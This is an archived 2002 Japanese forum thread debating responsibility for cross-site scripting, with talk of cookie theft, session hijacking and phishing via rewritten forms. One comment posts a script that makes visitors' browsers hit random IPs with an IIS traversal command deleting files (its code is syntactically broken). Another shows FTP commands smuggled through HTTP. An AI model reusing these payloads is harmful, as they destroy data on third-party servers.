パスワードを忘れた? アカウント作成
この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。

The Cross Site Scripting FAQ」記事へのコメント

  • by Anonymous Coward on 2002年05月23日 2時10分 (#96507)
    XSSで引き起こされる被害というのは、大きく分けて
    • Cookieを盗まれる
    • ブラウザのセキュリティホールを突いてクライアントにいらん事される(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
    という2種類ですよね。
    前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
    たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。
    Proxy通してると同一IPになっちゃう可能性もあるけど、クライアントが自分でProxyを通すようにしているのであれば、それはクライアントの責任だし、一部CATV局みたいに、強制的にProxy通させているような場合はCATV局の責任。企業とかでFireWall通っている場合にはその企業の責任。
    後者(ブラウザのバグ)は明らかにブラウザ供給者の責任です。

    こうやって考えると、Webページ作成者の責任はごく限られているにも関わらず、「XSS問題は全部Web作成者が責任持って解決すべきだ」とばかりにフォームさえあれば<S>hoge</S>とか書いて回るヤツははっきり言ってウザい。
    更にちょっとでも見つかろうものなら鬼の首でも取ったかのように騒ぎ立てて「○○のサイトは脆弱だ」とか言って回る頭悪そうなヤツもいるし。
    脆弱なのはブラウザなんだよ!!

    • by kei100 (5854) on 2002年05月23日 2時46分 (#96515)
      >こうやって考えると、Webページ作成者の責任はごく限られているにも関わらず、
      >「XSS問題は全部Web作成者が責任持って解決すべきだ」とばかりに
      >フォームさえあれば<S>hoge</S>とか書いて回るヤツははっきり言ってウザい。
      >更にちょっとでも見つかろうものなら鬼の首でも取ったかのように騒ぎ立てて
      >「○○のサイトは脆弱だ」とか言って回る頭悪そうなヤツもいるし。

      それ以外にも、ページの改変を出来ます。

      昔、Officeさんが首相官邸のXSS脆弱性を利用した
      首相コメント(偽)を見れるものを公開してました・・・

      ニュース系サイトや、公的機関のWebPageとかで、ありもしない記事が、
      さも*そのサーバー上に存在しているように見える*
      と言うのは脅威にはならないのでしょうか?

      しかも、外見も文体も変わらなかった場合、やられたことには気づき難いです。

      >脆弱なのはブラウザなんだよ!!
      ブラウザはこの場合ほぼ関係ありません。
       
      親コメント
      • by jbeef (1278) on 2002年05月23日 3時53分 (#96529) 日記
        ニュース系サイトや、公的機関のWebPageとかで、ありもしない記事が、 さも*そのサーバー上に存在しているように見える* と言うのは脅威にはならないのでしょうか?
        それくらいだと、「たいしたことねえ」という声も出てくるでしょう。が、ページの改変というのは、目に見える文字列だけでなく、FORM要素のACTION属性なども改変できるわけなので、 一件、銀行のログイン画面のように見えて、口座番号と暗証番号を入れると、実は全然違うサイトに送信してしまう、という恐ろしいことが起こりえますね。office氏によって最近実例が指摘されたのもそれではなかったかな?

        ちなみに、その脅威は、2000年2月のCERT Advisory CA-2000-02 [cert.org] で既に書かれていました。(このCA-2000-02ですが、なぜかcookieの盗み出しのことが書かれてないんですよね…。)

        親コメント
        • 「一件、銀行のログイン画面のように見えて、口座番号と暗証番号を入れると、実は全然違うサイトに送信してしまう、という恐ろしいことが起こりえますね。」

          銀行などではログイン手続きの時には既にSSLが成立しているのに?というのはそれはさておき。 こんなすぐバレて、追跡し易く、かつ、きっちりと犯罪が成

          • 銀行などではログイン手続きの時には既にSSLが成立しているのに?
            SSLであろうがなかろうが関係ないですね。送信先の別サイトをSSLにもするのもよいでしょうし。

            どうにもなかなか正しく理解されないようですね…。

            親コメント
          • XSS のテクを使ってクッキーや暗証番号をどこかに送信させる行為は「きっちりと犯罪が成立する」ことなのか?
            不正アクセス禁止法には抵触しなさそう?
            その暗証番号を使えば不正アクセス禁止法違反なのは当然。
            結果的に迷惑を被れば原因を作ったものは全部偽計威力業務妨害なのかな。
    • Proxy通してると同一IPになっちゃう可能性もあるけど、クライアントが自分でProxyを通すようにしているのであれば、それはクライアントの責任だし、一部CATV局みたいに、強制的にProxy通させているような場合はCATV局の責任。企業とかでFireWall通っている場合にはその企業の責任
      んな無茶な。

      あと、CATVで同一IPアドレスになるのはProxyを強制しているからではなく、IP Masqueradeでプライベートアドレスを使わせているからだね。

      あと、IPアドレスの完全一致でチェックするようにすると企業ユーザが使えなくなる(複数台のProxyサーバで負荷分散しているためにコネクションごとにIPアドレスが変わる)ことが多いのが現実だから、アドレスの最下位を無視するなどして幅を持たせてチェックせざるを得ない。となると、同じプロバイダにダイヤルアップしている者からの攻撃が防げなくなる。

      素人はすっこんでたほうがいいよ。

      親コメント
    • >* Cookieを盗まれる
      >* ブラウザのセキュリティホールを突いてクライアントにいらん事される
      >(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
      これはあくまでXSSで引き起こされる被害の一部です。
      ブラウザで可能なことであればほとんど出来ると思います。
      例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
      ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
      意のサーバーに攻撃を仕掛けることが可能になります。
      <script>
      ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);
       window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
      </script>
      この手の例で有名なのはfushianaさんトラップがありますよね?まあ
      ちょっと考えればこれを利用してワームを作ることも可能でしょう。
      ちなみに、クリックすることで起動可能にするのであれば、FTPやSMTP
      などについても攻撃可能にすることは可能だと思われます。TEXTエリア
      に必要なコマンドを埋め込み、http://hoge.com:21/にPOSTで送信す
      れば。。。
      では、掲示板タイプでないものであれば安全か?と言うとそういうこと
      もないと思います。インパクトがあるのは書き換えですよね。そのほか
      にも踏み台として利用したりてことが考えられます。

      ところで、ECサイト等のクロスサイトスクリプトには怪しいページか
      らのリンクでなければ問題ないと言うのがありますが、なにも怪しいペ
      ージからのリンクでなくてもメールを利用してしまえば簡単に悪意ある
      コードを実行させることが可能だと思います。
      例えば、「プレゼントセール実施中」等というメールにコードを含んだ
      リンクを埋め込んでおけばたいていの人は引っかかるのではないでしょ
      うか?
      XSSを使えば自分の手を汚さないで結構悪いことが出来るので危険だと
      思うのですが世間一般の認識はなんか低いですよねぇ?
      親コメント
      • コードが消えてしまったみたいなので...。
        サンプルコードはこうなります。
        <script>
        ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);  window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
        </script>
        親コメント
        • 「コードが消えてしまった」のではなく、そのまま
          <script>....</script>
          が書き込めてしまったようですね。HTMLソースを参照。

          どうしてだろう?<script>は削除されるようになっているはずなのに。
          バグのようですが、再現方法がわからない。

          今 #96960にアクセスすると、スクリプトエラーが出るよ。
          エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
          親コメント
        • </script> ←ここには</script>を埋め込んでいます。
          ページが途切れる問題が発生したのを緊急回避するためです。
          親コメント
        • ガガーン!再現してしまった。プレビューでは問題なかったのに、投稿したら問題が再現。
          #97122は、以下のように書いたのでした。(今回は全角文字にて回避)

          ========
          「コードが消えてしまった」のではなく、そのまま
          <script>...</script>
          が書き込めてしまったようですね。HTMLソースを参照。

          どうしてだろう?<script>は削除されるようになっているはずなのに。
          バグのようですが、再現方法がわからない。

          今 #96960にアクセスすると、スクリプトエラーが出るよ。
          エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
          ========

          しかも、二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
          上の「←ここには</script>を埋め込んでいます。」というのはその対策です。(意味がわからない方は、HTMLソースを見てください。)

          バグ報告せねば…(汗
          親コメント
          • 二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
            上の「←ここには</script>を埋め込んでいます。」というのはその対策です。
            この障害の影響で、現在、「古い順」以外の表示では、異常が発生する(ページの途中がすっぽ抜けて多数のコメントが消える)状態ですので、閲覧される方はご注意を。
            親コメント
          • うぎゃぁースクリプトが実行されていたんですか?いやぁ不幸中の幸いでエラーがあってよかったです^^;)。
            なぁんか出てないなぁと思い、ソースは見たんですが、実行されてなかったので(調べてみたら、JAVAscript実行できないようにしていたんで当然なんですが)気にもしなかったんです。

            さて、このような問題があってもXSSは大した問題じゃないという人はいるんでしょうか?まあ、JAVAScriptを実行しないようにしていれば問題ないんですけどね。
            親コメント
            • すっかり謝るのを忘れてました。皆さん、変なスクリプトを書いてしまってごめんなさい。
              別に、皆さんを陥れようと思ってやったわけじゃないんです。
              出きれば、#96960のスクリプト削除してもらえないですか?湖面と丸ごとでもいいです。お願いします。
              親コメント
          • バグ報告をしたところ、その日のうちに対策して頂きました。ありがとうございます。 ある形式でタグを書くと、プレビューではエスケープされて表示されていたのが、投稿されたコメントの表示ではエスケープされていなかったようです。これがエスケープされるように修正したとの連絡を頂いています。なお既に崩れてしまっている部分については、修正が大変とのこと。たしかにそうなのだろうとお察しします。お疲れです。
            親コメント
      • by gk-hyn (7889) on 2002年05月23日 20時34分 (#96974)
        http://hoge.com:21/にPOSTで送信すれば。。。
        httpと書いて有る以上、ブラウザはhttpでしゃべりにいくと思いますが。
        具体的には、POST / HTTP/1.1以下のHTTPヘッダが最初につきますし。
        そのようなものを、たとえばftp鯖がすんなり受け入れるとは思えないのですが
        親コメント
        • by ikepyon (613) on 2002年05月23日 20時41分 (#96979) 日記
          ところがどっこい。telnetを使ってftpなどに接続してみれば分かりますが、
          $ telnet localhost 21
          Trying 127.0.0.1...
          Connected to localhost.localdomain (127.0.0.1).
          Escape character is '^]'.
          220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
          GET / HTTP/1.0
          500 GET not understood.
          Host: fdsjkl
          500 HOST: not understood.
          Content-Length: 100
          500 CONTENT-LENGTH: not understood.

          USER hoge
          331 Password required for hoge.
          pass HOGE
          530 Login incorrect.

          とまぁ、間違ったコマンドは無視してしまうわけです。これをうまく使えば
          必要なコマンドを発行できるわけですね。これを多分securityfocusのメーリングリストだったと思いますが見たときはちょっと驚いてしまいました。
          親コメント
    • 脆弱なのは ブラウザじゃなくてスクリプトだろ?
      <s>hoge</s>なんてのを通しちゃうチョロいスクリプトを置いちゃう「Webページ作成者」の責任ってのは本当に『ごく限られている』のか?
      分かってないなら語るなよ。『はっきり言ってウザい』から。

      あとAC投稿を否定するつもりは毛頭無いけどさ、『フォームさえあれば~』ってのは例えば別コメントに出てるOfficeさんの事を言ってるんだろうけど、半端知識で語
    • > こうやって考えると、Webページ作成者の責任はごく限られているにも関わらず、「XSS問題は全部Web作成者が責任持って解決すべきだ」とばかりにフォームさえあれば<S>hoge</S>とか書いて回るヤツははっきり言ってウザい。
      > 更にちょっとでも見
      • > 実はこの人たちによる「被害」のほうがよっぽど大きかったりして。。。

        かわいそうに、休日返上で働かされた人が居ました。 そっとしておけば、そのうち消えるマイナーな機能だったのに。報告されちゃうと、よくわかってない上司もそれを知り、身の保身のためにとにかく修正させようとするのね。

        確かに 「Webで公開されるもには完璧じゃなきゃいけない」って主張も完全に否定はできませんが、セキュリティと危険の「コストバラン
        • 「コストバランス」って言うけど、一度漏れた個人情報は回収できないよね。

          雪印食品も、対象企業が特定できるように情報公開されたのは誰かが自己中心的だったから?雪印食品も、後ろで泣いている人もいるだろうけどね。
    • 脆弱なのはブラウザなんだよ!!

      正確には『XSS 脆弱性を持つサイトで Cookie を盗まれうるのはブラウザが脆弱だからなんだよ!!』かね。

      しかしブラウザが脆弱であったとしても XSS 脆弱性がなければこの問題が原因で Cookie が盗まれることはない。
      脆弱なのはサイトなんだよ!!

      冗談はとも

      • ブラウザの脆弱性とは独立です。cookieを盗まれるのは、
        • サイトに脆弱性がある
        • ブラウザに脆弱性がある
        のどちらか一方または両方のときということです。 以下のことなら言えます。
        • サイトがいくら対策しても、ブラウザにパッチをあてていないのなら危険
        • ブラウザにいくらパッチをあてていても、対策していないサイトを利用してしまうと危険
        親コメント
      • ブラウザもサイトもどっちもどっち。 バカとアホのどっちがマヌケだと尋ねられても困ると思われ。

コンピュータは旧約聖書の神に似ている、規則は多く、慈悲は無い -- Joseph Campbell

処理中...